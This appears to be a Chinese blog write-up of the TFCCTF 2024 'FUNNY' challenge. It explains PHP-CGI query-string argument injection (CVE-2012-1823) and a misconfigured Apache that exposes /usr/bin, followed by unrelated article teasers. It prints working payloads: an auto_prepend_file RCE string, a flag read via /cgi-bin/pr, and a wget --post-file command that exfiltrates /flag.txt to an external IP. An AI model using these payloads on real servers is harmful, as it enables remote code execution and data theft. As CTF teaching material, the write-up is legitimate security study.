当前位置: 首页 > news >正文

【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

目录

背景 CVE-2012-1823

发散利用

法一:读文件

法二:数据外带 


背景 CVE-2012-1823

PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析 | 离别歌

省流:

命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入

简单复现:

vulhub的环境

/index.php?-s

查看源码

文件包含RCE

/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

  

发散利用

以TFCCTF 2024的FUNNY这题为例

附件中有这样一段配置

 

  1. ScriptAlias /cgi-bin /usr/bin:

    • ScriptAlias指令将URL路径 /cgi-bin 映射到服务器上的实际文件路径 /usr/bin
    • 当访问 http://yourdomain/cgi-bin 时,服务器实际上会访问 /usr/bin 目录中的文件。
  2. Action php-script /cgi-bin/php-cgi:

    • Action指令将某个处理程序与特定类型的文件关联起来。在这里,将自定义的 php-script 处理程序与路径 /cgi-bin/php-cgi 关联。
    • 也就是说,当一个文件被指定为 php-script 类型时,服务器会将其传递给 /cgi-bin/php-cgi 进行处理。
  3. AddHandler php-script .php:

    • AddHandler指令将文件扩展名 .php 与前面定义的 php-script 处理程序关联。
    • 这意味着服务器会将所有扩展名为 .php 的文件当作 php-script 类型文件,并用 /cgi-bin/php-cgi 处理它们。
  4. <Directory /usr/bin>:

    • 该指令块定义了对于 /usr/bin 目录的访问控制规则。
    • Order allow,deny:这行定义了访问控制的顺序,首先 allow(允许)访问,然后 deny(拒绝)。这意味着所有未明确允许的请求将被拒绝。
    • Allow from all:这行允许所有来源的访问。

总的来说,这段配置定义了一个CGI环境,其中所有的 .php 文件会通过位于 /usr/bin 目录中的 php-cgi 脚本进行处理,并允许所有用户访问 /usr/bin 目录。

 扫目录

 

直接将/cgi-bin暴露在web目录中,由于配置文件将/cgi-bin映射到靶机的/usr/bin,这意味着我们可以访问/usr/bin下的所有命令

法一:读文件

类比背景部分的传参:/index.php?-d allow_url_include=on -d auto_prepend_file=php://input

会被执行为

#!/usr/local/bin/php-cgi -d allow_url_include=on -d auto_prepend_file=php://input

这题如果我们访问/cgi-bin/cat?/flag.txt,靶机执行的就是

#!/usr/bin/cat /flag.txt

 但操作后回显404,这意味着靶机/usr/bin下没有cat命令

尝试用nl读文件结果报500,这说明成功执行了/usr/bin/nl命令,但未成功回显

/cgi-bin/nl?/flag.txt 

似乎不能读文件了

但其实可以 

pr 命令是一个 Unix 和 Linux 系统中的命令,用于将文本文件格式化为页码化的输出,通常用于打印。pr 命令可以对文本进行分页、添加页眉、页脚、调整列数等,以便于打印或查看。

 payload:

/cgi-bin/pr?/flag.txt

解释一下为什么用pr,是因为只有pr的输出第一行有换行,才能输出,其他的能执行但不能输出

响应包的格式,不换行不能显示在body,而是在header,但数据又不符合http头的格式,会报500

法二:数据外带 

curl回显404

用wget外带数据

哈?命令注入外带数据的姿势还可以这么骚?-腾讯云开发者社区-腾讯云

目标执行#!/usr/bin/wget http://124.222.136.33:1337 ­d --post-file=/flag.txt

payload:

/cgi-bin/wget?http://124.222.136.33:1337+--post-file%3d/flag.txt

成功接收到文件

相关文章:

【Web】从TFCCTF-FUNNY浅析PHPCGI命令行注入漏洞利用

目录 背景 CVE-2012-1823 发散利用 法一&#xff1a;读文件 法二&#xff1a;数据外带 背景 CVE-2012-1823 PHP-CGI远程代码执行漏洞&#xff08;CVE-2012-1823&#xff09;分析 | 离别歌 省流&#xff1a; 命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include…...

对比一下在 OpenCV 和 AE 中如何实现常用效果 [精]

确实&#xff0c;Adobe After Effects (AE) 也是一个功能强大的工具&#xff0c;特别擅长处理图像和视频的视觉效果和动画。很多在 OpenCV 中实现的图像处理和增强效果&#xff0c;AE 也可以轻松完成&#xff0c;甚至以更加直观的方式实现。下面对比一下在 OpenCV 和 AE 中如何…...

docker安装及使用

一、docker优点及作用 优点&#xff1a; 基础镜像MB级别创建简单隔离性强启动速度秒级移植与分享放便 作用&#xff1a;资源隔离 cpu、memory资源隔离与限制访问设备隔离与限制网络隔离与限制用户、用户组隔离限制 二、docker安装 2.1.配置yum源 yum install -y yum-uti…...

HTML前端面试基础(一)

HTML面试题可以涵盖多个方面&#xff0c;包括HTML基础、HTML5新特性、标签语义化、元素分类、属性理解等。以下是一些常见的HTML面试题及其简要答案&#xff1a; 1. HTML基础 问题&#xff1a; 请解释一下HTML文档的基本结构。 答案&#xff1a; HTML文档的基本结构包括<…...

[Git][多人协作][下]详细讲解

目录 1.不同分支下多人协作2.远程分⽀删除后&#xff0c;本地git branch -a依然能看到 1.不同分支下多人协作 ⼀般情况下&#xff0c;如果有多需求需要多⼈同时进⾏开发&#xff0c;是不会在⼀个分⽀上进⾏多⼈开发&#xff0c;⽽是⼀个需求或⼀个功能点就要创建⼀个feature分…...

MySQL笔记(七):索引

一、索引优化速度 创建对应字段的索引&#xff0c;只对该列有效&#xff0c;只能提高该列的查询速度 创建索引后&#xff0c;查询速度变快&#xff0c;但是表占用空间变大 create index 索引名 on 表名(需要创建索引的列)二、索引的原理 普通索引允许该字段重复 全文索引&#…...

JS 原型和原型链

构造函数 封装是面向对象思想中比较重要的一部分&#xff0c;js 面向对象可以通过构造函数实现的封装。 同样的将变量和函数组合到了一起并能通过 this 实现数据的共享&#xff0c;所不同的是 JS 借助构造函数创建出来的实例对象之间是彼此不影响的 存在浪费内存的问题&#…...

【无标题】图像增强技术:直方图均衡化、拉普拉斯算子、对数变换与伽马变换

图像增强技术&#xff1a;直方图均衡化、拉普拉斯算子、对数变换与伽马变换 在图像处理领域&#xff0c;图像增强是一种关键技术&#xff0c;用于提升图像的视觉效果和质量。本文将介绍四种常用的图像增强方法&#xff1a;直方图均衡化、拉普拉斯算子、对数变换和伽马变换。我…...

自动化专业英语

前言 电子信息、电气工程、自动化专业英语词汇汇总&#xff0c;不定期更新 常用 Asynchronous&#xff1a;异步synchronous&#xff1a;同步notification&#xff1a;通知blade&#xff1a;平面shaft&#xff1a;轴magnetic&#xff1a;磁场的bearing&#xff1a;轴承valve&…...

如何使用 Python 进行数据可视化,比如绘制折线图?

要使用Python进行数据可视化&#xff0c;可以使用matplotlib库来绘制折线图。以下是一个简单的示例代码&#xff1a; 首先&#xff0c;确保已安装matplotlib库。可以使用以下命令安装&#xff1a; pip install matplotlib在Python脚本中导入matplotlib库&#xff1a; import…...

PostgreSQL数据库的事务ID和事务机制

PostgreSQL后续简称PG。PG只读事务不会分配事务ID。为了在共享锁等情况下对事务进行标识&#xff0c;需要一种非持久化的事务ID&#xff0c;即虚拟事务ID&#xff0c;vxid。虚拟事务ID不需要把事务ID持久化到磁盘。因为事务ID是很宝贵的资源&#xff0c;简单的select语句不会申…...

LeetCode 热题 HOT 100 (020/100)【宇宙最简单版】[创作中]

【链表】No. 0142 环形链表 II【中等】&#x1f449;力扣对应题目指路 希望对你有帮助呀&#xff01;&#xff01;&#x1f49c;&#x1f49c; 如有更好理解的思路&#xff0c;欢迎大家留言补充 ~ 一起加油叭 &#x1f4a6; 欢迎关注、订阅专栏 【力扣详解】谢谢你的支持&#…...

XML动态sql查询当前时间之前的信息报错

如图&#xff0c;sql语句在数据库里可以正常运行但是再XML文件不可以正常运行&#xff0c;报错。 原因&#xff1a;在XML中小于号"<"是会被默认认定成文一个标签的开始&#xff0c;所以用小于号就会报错。 解决办法&#xff1a; 1.把表达式反过来改成大于号 2…...

EMQX服务器安装MQTT测试

cd /usr/local/develop wget https://www.emqx.com/en/downloads/broker/5.7.1/emqx-5.7.1-el7-amd64.tar.gz mkdir -p emqx && tar -zxvf emqx-5.7.1-el7-amd64.tar.gz -C emqx ./emqx/bin/emqx start 重启 ./emqx/bin/emqx restart http://10.8.0.1:18083/ 账号ad…...

3. 无重复字符的最长子串(滑动窗口)

目录 &#xff1a;题目&#xff1a; 二&#xff1a;代码&#xff1a; 三&#xff1a;结果&#xff1a; 一&#xff1a;题目&#xff1a; 给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长 子串 的长度。 二&#xff1a;代码&#xff1a; class Solution { …...

用javaagent和javassist实现Arthas的watch功能

一、被监控的服务 spring-boot-demo 1、 pom.xml <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation&q…...

golang 图片转1bit color bmp图片

问题背景 一些打印机需要的都是1bit color bmp图片,但是golang中没有直接的办法,官方image库最低bpp为8,打印机无法使用。 在github上找到了很多资源,都没有直接能转的,突然看到一个老外,可以支持plattered图片转位1bit color bmp图片,然后自己先把图片转位plattered黑…...

Leetcode75-5 反转字符串的元音字母

本质上来说就是反转字符串 一部分需要反转 一部分不动 思路: 1.用String字符串倒序拼接 就是过滤掉不是元音字符 然后把所有的字符&#xff08;非元音的直接复制过来 元音字母直接从反转的字符串里边复制即可&#xff09; 2.看了题解发现自己写的啰嗦了 就是一个双指针问题用…...

static关键字在Java中的作用与用法

static关键字在Java中的作用与用法 大家好&#xff0c;我是微赚淘客系统3.0的小编&#xff0c;是个冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在Java中&#xff0c;static关键字是一个非常重要的概念&#xff0c;用于定义静态成员、方法和内部类。它的使用可…...

50etf期权行权采用什么交割方式 ?

50ETF期权是欧式期&#xff0c;要到期日当天才能行权交制&#xff0c;其交割方式是实物交割买卖双方在到期行权日时需要准备一手交钱&#xff0c;一手收货或是一手交&#xff0c;一手收钱&#xff0c;如果持有期权到达到期日之前&#xff0c;投资者认为行权并不划算&#xff0c…...

springboot 百货中心供应链管理系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;百货中心供应链管理系统被用户普遍使用&#xff0c;为方…...

golang循环变量捕获问题​​

在 Go 语言中&#xff0c;当在循环中启动协程&#xff08;goroutine&#xff09;时&#xff0c;如果在协程闭包中直接引用循环变量&#xff0c;可能会遇到一个常见的陷阱 - ​​循环变量捕获问题​​。让我详细解释一下&#xff1a; 问题背景 看这个代码片段&#xff1a; fo…...

Spring Boot 实现流式响应(兼容 2.7.x)

在实际开发中&#xff0c;我们可能会遇到一些流式数据处理的场景&#xff0c;比如接收来自上游接口的 Server-Sent Events&#xff08;SSE&#xff09; 或 流式 JSON 内容&#xff0c;并将其原样中转给前端页面或客户端。这种情况下&#xff0c;传统的 RestTemplate 缓存机制会…...

边缘计算医疗风险自查APP开发方案

核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...

3403. 从盒子中找出字典序最大的字符串 I

3403. 从盒子中找出字典序最大的字符串 I 题目链接&#xff1a;3403. 从盒子中找出字典序最大的字符串 I 代码如下&#xff1a; class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

Typeerror: cannot read properties of undefined (reading ‘XXX‘)

最近需要在离线机器上运行软件&#xff0c;所以得把软件用docker打包起来&#xff0c;大部分功能都没问题&#xff0c;出了一个奇怪的事情。同样的代码&#xff0c;在本机上用vscode可以运行起来&#xff0c;但是打包之后在docker里出现了问题。使用的是dialog组件&#xff0c;…...

Springboot社区养老保险系统小程序

一、前言 随着我国经济迅速发展&#xff0c;人们对手机的需求越来越大&#xff0c;各种手机软件也都在被广泛应用&#xff0c;但是对于手机进行数据信息管理&#xff0c;对于手机的各种软件也是备受用户的喜爱&#xff0c;社区养老保险系统小程序被用户普遍使用&#xff0c;为方…...

vulnyx Blogger writeup

信息收集 arp-scan nmap 获取userFlag 上web看看 一个默认的页面&#xff0c;gobuster扫一下目录 可以看到扫出的目录中得到了一个有价值的目录/wordpress&#xff0c;说明目标所使用的cms是wordpress&#xff0c;访问http://192.168.43.213/wordpress/然后查看源码能看到 这…...

LabVIEW双光子成像系统技术

双光子成像技术的核心特性 双光子成像通过双低能量光子协同激发机制&#xff0c;展现出显著的技术优势&#xff1a; 深层组织穿透能力&#xff1a;适用于活体组织深度成像 高分辨率观测性能&#xff1a;满足微观结构的精细研究需求 低光毒性特点&#xff1a;减少对样本的损伤…...

Vite中定义@软链接

在webpack中可以直接通过符号表示src路径&#xff0c;但是vite中默认不可以。 如何实现&#xff1a; vite中提供了resolve.alias&#xff1a;通过别名在指向一个具体的路径 在vite.config.js中 import { join } from pathexport default defineConfig({plugins: [vue()],//…...